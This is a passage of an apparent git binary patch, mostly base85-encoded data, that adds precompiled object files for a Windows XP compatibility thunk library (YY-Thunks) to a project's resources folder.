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 literal 0 HcmV?d00001 diff --git a/resources/YY-Thunks-Objs/objs/x86/YY_Thunks_for_WinXP.obj b/resources/YY-Thunks-Objs/objs/x86/YY_Thunks_for_WinXP.obj new file mode 100755 index 0000000000000000000000000000000000000000..ac5a17922d410a98eaea40c1398d3b7c00a17a37 GIT binary patch literal 5080453 zcma&v3B1hJ|HtvM7sb7HQ6XgSk}c~cWY1QFknCHwN(yL>!^jJ!Rio<%|G2)JYRVLR{!$R&VJ1A#wFTyxNL=T z#)?p-B%Gt&G)xuaeDfmh*2T0_dBo1M#_=reK8vY+MKF#m{J(2Gy72wM zm`%p9eVncZ-#?0}QrOCK%u8=ff8!GK;&3A{BW-7m<96DefH`2C>__J~=ym1`~glTGAV!YNk^6>NRFujwUZ{H8W zj7V~><82~&V=)X!1E3T2k$v(dYcUwfe;_k%siEz^HP-D0mFTQmfuXK+q-9neM z&Ksra(d)R~#)cig-(!AEa;|a6yqv_GR=9sKnM(Y3p7iBij!BJhGS7vLiBB?LTzTTk zxtujG(yLmyrb+F(&f~do?JzwQZXo9V2seVfNtkoS`5rH290f||j9p8W;=7IzSId|< zBtnuDLKy%!JYlA#_JaLV;CmW<|>722T$^=fX1bvS)mz2#JyNoI&>^RSlxx#i< z{~jZt1ZHKqAny`SyE5L4{^H_XkX&O2It)=4B180_F#WJBN9_a(G@7@-|>Dzdn3@3*!o4 zD%;L6&$Th>NzS!T<@jx83^(J&<>dJ7gzIYOIo6{u=DsB7+NU>>_aJ7IalUyziQA9a zS|ym5#C5x)-5gbUo=24;`_I*`%wH)?{Rp=U*Bo*SU~(y3A(@Wv*!VFiqF_`fRHx)Bo;hw}iqi`=` zUWstB9&Z>EwH_OApGD-!dVG!fM&S-&eu!{+$@|Tiu>Oh5R3q5SVNUv209V-9#QDHF zKTBRoMV`1D6i(*3rPAH5bc2*`jM6=-bk8W=s|qLU@gD9&V}0u(^Y^(jZ!hjZM4q(! 